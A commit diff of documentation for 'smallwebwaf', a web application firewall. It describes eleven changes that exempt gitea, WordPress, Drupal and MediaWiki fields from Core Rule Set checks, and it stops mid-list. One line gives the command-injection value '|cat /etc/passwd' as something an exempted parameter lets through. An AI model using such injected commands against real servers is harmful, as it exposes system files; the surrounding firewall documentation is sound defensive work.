Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7f5f704349 |
No files matched your search
@@ -280,7 +280,6 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mediawiki` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
|
|
||||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
@@ -582,24 +581,22 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
|
- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary
|
||||||
requests to a code forge through, such as git over HTTP and sign-in through
|
requests get through to a code forge, to WordPress, to Drupal and to
|
||||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
MediaWiki. They include git over HTTP and sign-in through Git Credential
|
||||||
|
Manager on a code forge, and saving a post from the block editor on WordPress.
|
||||||
|
On gitea's own paths, its searches, file names and branch names get through
|
||||||
|
too. On WordPress's own paths, its searches, names and file names do. On
|
||||||
|
Drupal's own paths, the page to return to, its searches and its names get
|
||||||
|
through too. On MediaWiki's own paths, its searches, page titles, names and
|
||||||
|
wikitext do. No setting undoes the changes; "Attack detection" in
|
||||||
[`SPEC.md`](SPEC.md) lists them.
|
[`SPEC.md`](SPEC.md) lists them.
|
||||||
- Each supported app also has its own fixes, which let its ordinary requests
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
ordinary requests pass the Core Rule Set:
|
||||||
settings. The supported apps, by their names in `SWW_APPS`, are:
|
- gitea;
|
||||||
- `gitea`, whose fixes let its searches, file names and branch names
|
- WordPress;
|
||||||
through;
|
- Drupal;
|
||||||
- `wordpress`, whose fixes let through its searches, its names, its file
|
- MediaWiki.
|
||||||
names and a post saved from the block editor;
|
|
||||||
- `drupal`, whose fixes let through the page to return to, its searches and
|
|
||||||
its names;
|
|
||||||
- `mediawiki`, whose fixes let through its searches, its page titles, its
|
|
||||||
names and its wikitext.
|
|
||||||
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
|
|
||||||
apps' fixes, and a hostname it does not list gets none. Unset, every app's
|
|
||||||
fixes apply to every hostname.
|
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
|
|||||||
@@ -81,8 +81,8 @@ to them.
|
|||||||
of bans is full.
|
of bans is full.
|
||||||
- `internal/rules`: reads the rule files at start and again when they
|
- `internal/rules`: reads the rule files at start and again when they
|
||||||
change, and tells which rules a request matches.
|
change, and tells which rules a request matches.
|
||||||
- `internal/coreruleset`: the Core Rule Set, with the six changes and the
|
- `internal/coreruleset`: the Core Rule Set, with the eleven changes listed
|
||||||
apps' fixes listed under "Attack detection", as Coraza directives.
|
under "Attack detection", as Coraza directives.
|
||||||
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
||||||
database.
|
database.
|
||||||
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
|
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
|
||||||
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
||||||
Coraza directives. An exclusion switches one rule off for some fields or paths
|
Coraza directives. An exclusion switches one rule off for some fields or paths
|
||||||
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
||||||
holds an app's own exclusions; the apps' fixes below hold gitea's,
|
holds an app's own exclusions; the eighth to eleventh changes below hold
|
||||||
WordPress's, Drupal's and MediaWiki's.
|
gitea's, WordPress's, Drupal's and MediaWiki's.
|
||||||
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
||||||
before the Core Rule Set's rules. The Core Rule Set loads its own
|
before the Core Rule Set's rules. The Core Rule Set loads its own
|
||||||
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
|
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
|
||||||
@@ -723,9 +723,9 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
scanner from an ordinary client. In front of a code forge, registry and git
|
scanner from an ordinary client. In front of a code forge, registry and git
|
||||||
clients get `404` and `401` by design, hundreds of times a minute.
|
clients get `404` and `401` by design, hundreds of times a minute.
|
||||||
|
|
||||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of
|
`smallwebwaf` changes the Core Rule Set 4.25.0 in eleven ways, since in front of
|
||||||
gitea it would otherwise refuse ordinary requests. The changes hold in front of
|
gitea, WordPress, Drupal and MediaWiki it would otherwise refuse ordinary
|
||||||
every app, and no setting undoes them:
|
requests. The changes hold in front of every app, and no setting undoes them:
|
||||||
|
|
||||||
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
||||||
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
||||||
@@ -742,52 +742,8 @@ every app, and no setting undoes them:
|
|||||||
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
||||||
`http://127.0.0.1` on the user's own machine. The server never fetches that
|
`http://127.0.0.1` on the user's own machine. The server never fetches that
|
||||||
address.
|
address.
|
||||||
4. `Referer` is not checked for a Unix command given without arguments (932340),
|
4. Ten query parameters are not checked against the Core Rule Set's lists of
|
||||||
for Java starting a process (944110) or for a Java class name (944130).
|
system files (930120), shell paths (932160) and command names (932260):
|
||||||
`Referer` names the page a request comes from, on everything that page loads
|
|
||||||
and on every link followed from it. The Core Rule Set takes some page
|
|
||||||
addresses for attacks:
|
|
||||||
- a search for `env`;
|
|
||||||
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
|
|
||||||
- a file named `java.lang.String.md`.
|
|
||||||
|
|
||||||
Every request from such a page would be refused. `Referer` keeps the other
|
|
||||||
rules, except after some gitea searches (gitea's fixes). An app that passes
|
|
||||||
`Referer` to a shell must check it itself.
|
|
||||||
|
|
||||||
5. Responses are not inspected. A raw file from a repository, such as a shell
|
|
||||||
script, looks to the response rules like source code leaking from the server.
|
|
||||||
6. The `from` parameter of a container registry's upload path,
|
|
||||||
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
|
|
||||||
a push reuses a layer, `from` names the image the layer comes from. An image
|
|
||||||
such as `owner/python3-app` would have that push refused.
|
|
||||||
|
|
||||||
Each supported app also has its own fixes, which let its ordinary requests
|
|
||||||
through. `SWW_APPS` says which hostnames get which app's fixes:
|
|
||||||
|
|
||||||
- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon,
|
|
||||||
then one or more apps separated by commas, for example
|
|
||||||
`git.example.com:gitea;blog.example.com:wordpress`.
|
|
||||||
- The request's `Host` is matched by exact name, without its port and without
|
|
||||||
regard to case. There are no wildcards.
|
|
||||||
- A hostname not listed gets no app's fixes, so every rule checks it in full.
|
|
||||||
Set empty, `SWW_APPS` lists no hostname.
|
|
||||||
- Unset, every app's fixes hold for every hostname. An app's fixes then weaken
|
|
||||||
the check of any other app that serves the same paths or fields.
|
|
||||||
- Any of these mistakes stops the start:
|
|
||||||
- an unknown app;
|
|
||||||
- a hostname that is not a DNS name, such as `*.example.com`;
|
|
||||||
- a hostname listed twice;
|
|
||||||
- an app listed twice for one hostname;
|
|
||||||
- an entry without a colon.
|
|
||||||
|
|
||||||
The apps supported are `drupal`, `gitea`, `mediawiki` and `wordpress`. Each
|
|
||||||
app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and one
|
|
||||||
entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|
||||||
|
|
||||||
1. Ten query parameters are not checked against the Core Rule Set's lists of
|
|
||||||
system files (930120), shell paths (932160) and command names (932260), on
|
|
||||||
any path:
|
|
||||||
- `path`, `files`, `skip-to` and `sub_path`;
|
- `path`, `files`, `skip-to` and `sub_path`;
|
||||||
- `ref`, `sha`, `branch` and `workflow`;
|
- `ref`, `sha`, `branch` and `workflow`;
|
||||||
- `artifactName` and `redirect_to`.
|
- `artifactName` and `redirect_to`.
|
||||||
@@ -800,19 +756,42 @@ entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|||||||
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
||||||
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
||||||
still refused there. Other parameters keep all three rules, except on the
|
still refused there. Other parameters keep all three rules, except on the
|
||||||
paths named in gitea's third fix, in WordPress's fixes, in Drupal's fixes
|
gitea, WordPress, Drupal and MediaWiki paths the eighth to eleventh changes
|
||||||
and in MediaWiki's fixes.
|
name. An app that uses one of these parameters as a file on the server, or
|
||||||
|
passes it to a shell, must check the value itself. A rule file can refuse it
|
||||||
|
instead.
|
||||||
|
|
||||||
2. The Core Rule Set reads the request without the `gitea_flash` and
|
5. Two cookies are left out, and `Referer` keeps fewer rules:
|
||||||
|
- The Core Rule Set reads the request without the `gitea_flash` and
|
||||||
`redirect_to` cookies. gitea puts a message naming what was just done into
|
`redirect_to` cookies. gitea puts a message naming what was just done into
|
||||||
`gitea_flash`. It puts into `redirect_to` the page to return to after signing
|
`gitea_flash`. It puts into `redirect_to` the page to return to after
|
||||||
in. The Core Rule Set takes file names in them, such as `package.json`, for
|
signing in. The Core Rule Set takes file names in them, such as
|
||||||
attacks. A browser sends such a cookie with every request until gitea
|
`package.json`, for attacks. A browser sends such a cookie with every
|
||||||
replaces it. gitea cannot replace it while those requests are refused, so one
|
request until gitea replaces it. gitea cannot replace it while those
|
||||||
refusal would keep the browser out of the whole site. gitea shows the message
|
requests are refused, so one refusal would keep the browser out of the
|
||||||
with any script removed and returns only to its own pages. Every other cookie
|
whole site. gitea shows the message with any script removed and returns
|
||||||
is read in full.
|
only to its own pages. Every other cookie is read in full. An app that
|
||||||
3. On gitea's paths, some fields skip the rules that refused ordinary gitea
|
reads a cookie of either name must check it itself.
|
||||||
|
- `Referer` is not checked for a Unix command given without arguments
|
||||||
|
(932340), for Java starting a process (944110) or for a Java class name
|
||||||
|
(944130). `Referer` names the page a request comes from, on everything
|
||||||
|
that page loads and on every link followed from it. The Core Rule Set
|
||||||
|
takes some page addresses for attacks:
|
||||||
|
- a search for `env`;
|
||||||
|
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
|
||||||
|
- a file named `java.lang.String.md`.
|
||||||
|
|
||||||
|
Every request from such a page would be refused. `Referer` keeps the
|
||||||
|
other rules, except after some gitea searches (the eighth change). An
|
||||||
|
app that passes `Referer` to a shell must check it itself.
|
||||||
|
|
||||||
|
6. Responses are not inspected. A raw file from a repository, such as a shell
|
||||||
|
script, looks to the response rules like source code leaking from the server.
|
||||||
|
7. The `from` parameter of a container registry's upload path,
|
||||||
|
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
|
||||||
|
a push reuses a layer, `from` names the image the layer comes from. An image
|
||||||
|
such as `owner/python3-app` would have that push refused.
|
||||||
|
8. On gitea's paths, some fields skip the rules that refused ordinary gitea
|
||||||
requests there. They are the fields where gitea sends a search, a file name
|
requests there. They are the fields where gitea sends a search, a file name
|
||||||
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
|
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
|
||||||
request it refused. The fields are:
|
request it refused. The fields are:
|
||||||
@@ -830,7 +809,8 @@ entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|||||||
- packages.
|
- packages.
|
||||||
|
|
||||||
A user's or an organisation's page is any path of one segment, so on
|
A user's or an organisation's page is any path of one segment, so on
|
||||||
every such path `q` skips these three rules, for example on `/search`.
|
every such path, on any app, `q` skips these three rules, for example on
|
||||||
|
`/search`.
|
||||||
|
|
||||||
Some of these searches also skip the rule for Java class names (944130),
|
Some of these searches also skip the rule for Java class names (944130),
|
||||||
which refused `org.apache.commons.logging`.
|
which refused `org.apache.commons.logging`.
|
||||||
@@ -868,104 +848,108 @@ entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|||||||
`actions/upload-artifact@v3` (920450).
|
`actions/upload-artifact@v3` (920450).
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. The paths are those of gitea at the
|
Elsewhere these fields keep every rule. The paths are those of gitea at the
|
||||||
site root.
|
site root. An app other than gitea that serves one of them must check these
|
||||||
|
fields itself.
|
||||||
|
|
||||||
WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
9. On WordPress's paths, some fields skip the rules that refused ordinary
|
||||||
ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists
|
WordPress requests there. `internal/coreruleset/wordpress.conf` lists each
|
||||||
each rule and the request it refused. The REST API has four addresses:
|
rule and the request it refused. The REST API has four addresses:
|
||||||
|
- `/wp-json/...`
|
||||||
|
- `/index.php/wp-json/...`
|
||||||
|
- `/index.php?rest_route=/...`
|
||||||
|
- `/?rest_route=/...`
|
||||||
|
|
||||||
- `/wp-json/...`
|
The fields are:
|
||||||
- `/index.php/wp-json/...`
|
- The header `X-HTTP-Method-Override` on any address of the REST API
|
||||||
- `/index.php?rest_route=/...`
|
(920450). The block editor saves a post with `POST` and names `PUT` in
|
||||||
- `/?rest_route=/...`
|
this header.
|
||||||
|
- Three groups of fields skip the rules on system files and commands
|
||||||
The fields are:
|
(930120, 932120, 932250, 932260). The fields hold searches, names and
|
||||||
|
addresses of WordPress's own pages, and any of them can hold any word. The
|
||||||
- The header `X-HTTP-Method-Override` on any address of the REST API (920450).
|
groups are:
|
||||||
The block editor saves a post with `POST` and names `PUT` in this header.
|
|
||||||
- Three groups of fields skip the rules on system files and commands (930120,
|
|
||||||
932120, 932250, 932260). The fields hold searches, names and addresses of
|
|
||||||
WordPress's own pages, and any of them can hold any word. The groups are:
|
|
||||||
- On all of `/wp-admin/` and on `/wp-login.php`:
|
- On all of `/wp-admin/` and on `/wp-login.php`:
|
||||||
- the searches `s`, `search`, `q` and `term`;
|
- the searches `s`, `search`, `q` and `term`;
|
||||||
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and
|
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
|
||||||
`stylesheet`;
|
and `stylesheet`;
|
||||||
- the name of a plugin's settings page in `page`;
|
- the name of a plugin's settings page in `page`;
|
||||||
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and
|
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
|
||||||
`_wp_http_referer`.
|
and `_wp_http_referer`.
|
||||||
- On every REST API route under `/wp/v2/` and on the route
|
- On every REST API route under `/wp/v2/` and on the route
|
||||||
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
|
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
|
||||||
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`.
|
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and
|
||||||
|
`tag`.
|
||||||
|
|
||||||
The addresses of the first group also skip the rule on Unix commands
|
The addresses of the first group also skip the rule on Unix commands
|
||||||
(932235), because an address repeats the search it came from. The other
|
(932235), because an address repeats the search it came from. The other
|
||||||
fields of the groups keep that rule.
|
fields of the groups keep that rule.
|
||||||
|
|
||||||
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of
|
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
|
||||||
PowerShell commands and command names (932120, 932260):
|
of PowerShell commands and command names (932120, 932260):
|
||||||
- the name of a template in `p` and `postId` of the site editor;
|
- the name of a template in `p` and `postId` of the site editor;
|
||||||
- the name of a plugin to install in `slug`.
|
- the name of a plugin to install in `slug`.
|
||||||
|
|
||||||
WordPress writes these names as slugs, such as `htaccess` and `ls-la`.
|
WordPress writes these names as slugs, such as `htaccess` and `ls-la`.
|
||||||
|
|
||||||
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
|
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
|
||||||
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
|
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
|
||||||
(930120, 932120). The block editor's link previews and embeds send an address
|
(930120, 932120). The block editor's link previews and embeds send an
|
||||||
in this field.
|
address in this field.
|
||||||
|
|
||||||
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without
|
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
|
||||||
arguments (932340). The media list's own address ends in `&ps`.
|
without arguments (932340). The media list's own address ends in `&ps`.
|
||||||
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for
|
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
|
||||||
the lists of system files, shell paths, command names and JavaScript names
|
for the lists of system files, shell paths, command names and JavaScript
|
||||||
(930120, 932120, 932160, 932260, 941180).
|
names (930120, 932120, 932160, 932260, 941180).
|
||||||
- These fields of a body. Each applies only when the query has no parameter of
|
- These fields of a body. Each applies only when the query has no parameter
|
||||||
that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
|
of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
|
||||||
- `content` of a post, a page, a template or a template part saved through
|
- `content` of a post, a page, a template or a template part saved
|
||||||
the REST API. It holds HTML and any code it shows.
|
through the REST API. It holds HTML and any code it shows.
|
||||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||||
- `newcontent` of a plugin's or a theme's file saved from its editor, which
|
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
||||||
is PHP.
|
which is PHP.
|
||||||
- `pwd` when signing in, for the list of system files (930120).
|
- `pwd` when signing in, for the list of system files (930120).
|
||||||
- `title`, `excerpt` and `name` in a JSON body sent to any REST API route
|
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
||||||
under `/wp/v2/`, for the rules on system files and commands (930120,
|
route under `/wp/v2/`, for the rules on system files and commands
|
||||||
932120, 932250, 932260).
|
(930120, 932120, 932250, 932260).
|
||||||
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the
|
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
|
||||||
lists of PowerShell commands and command names (932120, 932260).
|
the lists of PowerShell commands and command names (932120, 932260).
|
||||||
- `url` on `/wp-comments-post.php`, the address of a commenter's site, for
|
- `url` on `/wp-comments-post.php`, the address of a commenter's site,
|
||||||
the lists of system files and PowerShell commands (930120, 932120).
|
for the lists of system files and PowerShell commands (930120,
|
||||||
|
932120).
|
||||||
|
|
||||||
Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at
|
Elsewhere this change does not apply. The paths are those of WordPress at
|
||||||
the site root.
|
the site root. An app other than WordPress that serves one of them must
|
||||||
|
check these fields itself.
|
||||||
|
|
||||||
Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal
|
||||||
ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each
|
requests there. `internal/coreruleset/drupal.conf` lists each rule and the
|
||||||
rule and the request it refused. These query fields skip the lists of system
|
request it refused. These query fields skip the lists of system files and
|
||||||
files and command names (930120, 932120, 932250, 932260):
|
command names (930120, 932120, 932250, 932260):
|
||||||
|
- On every page under `/admin`: `title`, `name`, `user`, `filename`,
|
||||||
- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`,
|
`filemime`, `info`, `subject`, `author_name`, `search`, `q` and
|
||||||
`info`, `subject`, `author_name`, `search`, `q` and `destination`.
|
`destination`.
|
||||||
- `destination` on the pages Drupal links to with one, such as these:
|
- `destination` on the pages Drupal links to with one, such as these:
|
||||||
- `/node/1/edit`;
|
- `/node/1/edit`;
|
||||||
- `/user/login`;
|
- `/user/login`;
|
||||||
- `/node/1/revisions/2/revert`;
|
- `/node/1/revisions/2/revert`;
|
||||||
- `/block/add/basic`;
|
- `/block/add/basic`;
|
||||||
- `/big_pipe/no-js`.
|
- `/big_pipe/no-js`.
|
||||||
- `keys` on `/search` and the pages under it.
|
- `keys` on `/search` and the pages under it.
|
||||||
- `q` on these autocompletes:
|
- `q` on these autocompletes:
|
||||||
- `/entity_reference_autocomplete/`;
|
- `/entity_reference_autocomplete/`;
|
||||||
- `/ckeditor5/{editor}/entity-link-suggestions`;
|
- `/ckeditor5/{editor}/entity-link-suggestions`;
|
||||||
- `/block-category/autocomplete`.
|
- `/block-category/autocomplete`.
|
||||||
- Every `filter[...]` field on `/jsonapi/`.
|
- Every `filter[...]` field on `/jsonapi/`.
|
||||||
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query
|
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the
|
||||||
or a body.
|
query or a body.
|
||||||
|
|
||||||
`destination` also skips 932230 and 932235, because it holds the address of a
|
`destination` also skips 932230 and 932235, because it holds the address of
|
||||||
page of results. `url` on `/media/oembed`, the address of a video, skips only
|
a page of results. `url` on `/media/oembed`, the address of a video, skips
|
||||||
930120 and 932120.
|
only 930120 and 932120.
|
||||||
|
|
||||||
These fields of a body skip the rules that refused them:
|
These fields of a body skip the rules that refused them:
|
||||||
|
- On the node, comment and media forms, for 930120, 932120, 932250 and
|
||||||
- On the node, comment and media forms, for 930120, 932120, 932250 and 932260:
|
932260:
|
||||||
- the title;
|
- the title;
|
||||||
- the summary;
|
- the summary;
|
||||||
- the tags;
|
- the tags;
|
||||||
@@ -974,11 +958,11 @@ These fields of a body skip the rules that refused them:
|
|||||||
- the comment subject;
|
- the comment subject;
|
||||||
- the media name;
|
- the media name;
|
||||||
- the image text.
|
- the image text.
|
||||||
- On the tag, custom block and contact forms, for the same four rules:
|
- On the tag, custom block and contact forms, for the same four rules:
|
||||||
- the tag's name and description;
|
- the tag's name and description;
|
||||||
- the block description and body;
|
- the block description and body;
|
||||||
- the subject and message of a contact message.
|
- the subject and message of a contact message.
|
||||||
- These fields through JSON:API, for the same four rules:
|
- These fields through JSON:API, for the same four rules:
|
||||||
- `title`;
|
- `title`;
|
||||||
- `subject`;
|
- `subject`;
|
||||||
- `body.summary`;
|
- `body.summary`;
|
||||||
@@ -986,34 +970,31 @@ These fields of a body skip the rules that refused them:
|
|||||||
- `revision_log`;
|
- `revision_log`;
|
||||||
- `info`;
|
- `info`;
|
||||||
- `description.value`.
|
- `description.value`.
|
||||||
- The title saved through Drupal's JSON format on `/node/{id}`, for the same
|
- The title saved through Drupal's JSON format on `/node/{id}`, for the same
|
||||||
four rules.
|
four rules.
|
||||||
- The body and comment body on the node and comment forms and through JSON:API,
|
- The body and comment body on the node and comment forms and through
|
||||||
which hold HTML and any code it shows.
|
JSON:API, which hold HTML and any code it shows.
|
||||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||||
- `name` when resetting a password through Drupal's JSON format on
|
- `name` when signing up, editing an account and commenting without an
|
||||||
`/user/password`, for the same four rules.
|
account, for the same four rules.
|
||||||
- `mail` in that same reset, for 932120 and 932260 only.
|
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
||||||
- `name` when signing up, editing an account and commenting without an account,
|
|
||||||
for the same four rules.
|
|
||||||
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
|
||||||
|
|
||||||
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
|
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
|
||||||
when the query has a parameter of the same name.
|
when the query has a parameter of the same name.
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. The paths are those of Drupal at the
|
Elsewhere these fields keep every rule. The paths are those of Drupal at the
|
||||||
site root, with or without a language prefix such as `/fr`. Such a prefix is any
|
site root, with or without a language prefix such as `/fr`. Such a prefix is
|
||||||
first path segment of two or three lowercase letters, optionally followed by a
|
any first path segment of two or three lowercase letters, optionally
|
||||||
hyphen and more letters, so `/api` counts too.
|
followed by a hyphen and more letters, so `/api` counts too. An app other
|
||||||
|
than Drupal that serves one of them must check these fields itself.
|
||||||
|
|
||||||
MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused
|
11. On MediaWiki's paths, some fields skip the rules that refused ordinary
|
||||||
ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists
|
MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists each
|
||||||
each rule and the request it refused. These fields skip the lists of system
|
rule and the request it refused. These fields skip the lists of system files
|
||||||
files and command names (930120, 932120, 932250, 932260), in the query or the
|
and command names (930120, 932120, 932250, 932260), in the query or the
|
||||||
body:
|
body:
|
||||||
|
- On MediaWiki's pages, which are `/index.php` and the paths under
|
||||||
- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/`
|
`/index.php/` and `/wiki/`:
|
||||||
and `/wiki/`:
|
|
||||||
- the searches `search` and `ilsearch`;
|
- the searches `search` and `ilsearch`;
|
||||||
- the titles `title`, `page` and `target`;
|
- the titles `title`, `page` and `target`;
|
||||||
- `from`, `to` and `prefix`, which limit a list of pages;
|
- `from`, `to` and `prefix`, which limit a list of pages;
|
||||||
@@ -1021,77 +1002,59 @@ body:
|
|||||||
- the file names `filename` and `wpDestFile`;
|
- the file names `filename` and `wpDestFile`;
|
||||||
- `returnto` and `returntoquery`, the page and query to go back to after
|
- `returnto` and `returntoquery`, the page and query to go back to after
|
||||||
signing in.
|
signing in.
|
||||||
- On `/api.php`:
|
- On `/api.php`:
|
||||||
- the searches `search`, `srsearch` and `pssearch`;
|
- the searches `search`, `srsearch` and `pssearch`;
|
||||||
- the titles `titles`, `title`, `page` and `bltitle`;
|
- the titles `titles`, `title`, `page` and `bltitle`;
|
||||||
- `from` and `to`, the titles of a page being moved;
|
- `from` and `to`, the titles of a page being moved;
|
||||||
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`,
|
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
|
||||||
`aufrom` and `auprefix`;
|
`aiprefix`, `aufrom` and `auprefix`;
|
||||||
- `letitle`, the page whose log is listed;
|
- `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`, which a generator
|
||||||
|
sends in place of `srsearch`, `pssearch`, `apfrom` and `bltitle`;
|
||||||
- `euquery`, an address;
|
- `euquery`, an address;
|
||||||
- the fields a generator sends in place of the fields above, each with a `g`
|
|
||||||
in front:
|
|
||||||
- `gsrsearch` and `gpssearch`;
|
|
||||||
- `gapfrom`, `gapto` and `gapprefix`;
|
|
||||||
- `gaifrom` and `gaiprefix`;
|
|
||||||
- `gbltitle`;
|
|
||||||
- `geuquery`;
|
|
||||||
- the user names `ucuser`, `bkusers` and `user`;
|
- the user names `ucuser`, `bkusers` and `user`;
|
||||||
- `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
|
- `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
|
